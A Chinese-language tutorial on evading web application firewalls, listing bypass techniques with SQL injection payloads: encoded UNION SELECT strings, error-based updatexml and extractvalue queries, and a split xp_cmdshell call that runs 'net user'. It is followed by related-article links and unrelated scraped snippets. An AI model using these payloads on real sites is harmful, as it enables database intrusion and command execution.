什么是WAF

Web Application Firewall

通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击。

目前主要有单设备WAF与云WAF

WAF的现状

1.太多数WAF能够拦截较为普通的WEB攻击

2.大多数WAF没有针对热点漏洞奇葩攻击EXP防御的能力

3.基本所有的WAF都存在策略性绕过

4.由于waf的业务限制等各种原因导致存在通用绕过

WAF逻辑漏洞及白名单阶段的绕过

1.搜索引擎白名单(判断引擎方式不严)

2.IP段白名单绕过

3.目录白名单绕过

4.绕过代理直接请求源站(代理模式云WAF)

WAF数据包解析阶段的绕过(通用型绕过)

一、各种编码绕过

1.?id=1 union select pass from admin limit 1
  ?id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%20%6c%69%6d%69%74%20%31

2.?id=1 union select pass from admin limit 1
  ?id=1 un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1

二、复参数绕过

1.?id=1 union select 1&id=pass from admin

三、异常Method绕过

Seay /1.php?id=1 and 1=1 HTTP/1.1
Host: www.cnseay.com
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive

四、编码方式绕过(urlencoded/mutipart)

解析阶段绕过--(最具杀伤力)

1.各种编码绕过

2.复参数绕过(依赖Server)

3.特殊字符污染绕过(截断/%/09-0d等)

4.异常Method绕过

5.编码方式绕过(urlencoded/from-data)

6.超大数据包绕过

7.数据包分块传输绕过

WAF规则策略阶段的绕过--规则网

一、数据库特殊语法绕过

1.mysql .符号和~符号和!符号以及+和-号连接

xx.php?id=1.union%0aselect@1,2 ,!3,4

二、关键字拆分绕过

xx.com/1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')

三、请求方式差异规则松懈性绕过

GET /id=1 union select 1,2,3,4   ---拦截

POST id=1 union select 1,2,3,4   ---绕过

WAF业务限制,POST规则相对松懈

四、冷门函数/标签绕过

1. /1.php?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

2. /1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

WAF规则策略阶段的绕过总结

1.字母大小写转换

2.数据库特殊语法绕过

3.关键字拆分绕过

4.请求方式差异规则松懈性绕过

5.多URL伪静态绕过

6.白字符绕过

7.冷门函数/标签绕过

黑客是怎样绕过WAF之三重防护绕过讲解的更多相关文章

  1. 文件上传之WAF绕过及相安全防护

    文件上传在数据包中可修改的地方 Content-Disposition:一般可更改 name:表单参数值,不能更改 filename:文件名,可以更改 Content-Type:文件 MIME,视情况 ...

  2. Web安全--XSS现代WAF规则探测及绕过技术

    XSS现代WAF规则探测及绕过技术初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过 ...

  3. 一些绕过waf的笔记

    转自:http://fuck.0day5.com/archives/622.html 一.各种编码绕过1. ? 1 2 ?id=1 union select pass from admin limit ...

  4. TSRC挑战赛:WAF之SQL注入绕过挑战实录

    转自腾讯 博文作者:TSRC白帽子 发布日期:2014-09-03 阅读次数:1338 博文内容: 博文作者:lol [TSRC 白帽子] 第二作者:Conqu3r.花开若相惜 来自团队:[Pax.M ...

  5. 如何绕过WAF

    目录 HTTP报文包体的解析 Transfer-Encoding Charset 溢量数据 HTTP协议兼容性 HTTP请求行种的空格 HTTP 0.9+Pipelining Websocket.HT ...

  6. 绕过WAF进行常见Web漏洞利用

    前言 本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法. PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任 PPS:本 ...

  7. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  8. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  9. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

随机推荐

  1. 关于RSS

    RSS(简易信息聚合)是一种消息来源格式规范,用以聚合经常发布更新数据的网站,例如博客文章.新闻.音频或视频的网摘.RSS文件(或称做摘要.网络摘要.或频更新,提供到频道)包含了全文或是节录的文字,再 ...

  2. Nodejs v4.x.0API文档学习(1)简介

    文档参考地址:https://nodejs.org/dist/latest-v4.x/docs/api/ 简介 下面是用nodejs编写的一个web服务的例子,返回"Hello World& ...

  3. 导出Excel事例

    DataTable table = new DataTable(); StringWriter sw = new StringWriter(); string tabltitle = "客户 ...

  4. ajaxError

    $(document).ready(function () { $('input:button').click(function() { if($('#fileName').val() == '') ...

  5. popen pclose 不等待命令执行完毕

    $handle = popen("start D:\\test.bat", "r"); //exec("start D:\\test.bat" ...

  6. Razor引擎学习:RenderBody,RenderPage和RenderSection

    ASP.NET MVC 3 已经正式发布了,现在估计许多人都在拼命学,我也不能例外,刚刚看到了一篇文章,介绍了三个非常有用的方法:RenderBody,RenderPage和RenderSection ...

  7. OI中神奇的神器fillchar

    传说,Pascal中有一个函数——fillchar.这是高手们装*用的利器,也是大家的神器(大家好才是真的好). 神器介绍: 百度百科说:“Fillchar是Turbo/Borland Pascal的 ...

  8. javascript 第28节 jQuery事件、迭代、样式

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  9. VS2010 error RC2135: file not found

    VS2010 C++ win32 DLL 工程, 添加 rc 文件, 编辑 String Table. 默认情况下英文版本的 rc 文件能够顺序编译通过,为了让工程支持多语言,将字符串修改为其他语言时 ...

  10. aspx页面状态管理Cookie和ViewState

    Cookie 设置cookie protected void Button2_Click(object sender, EventArgs e) { HttpCookie cookie = new H ...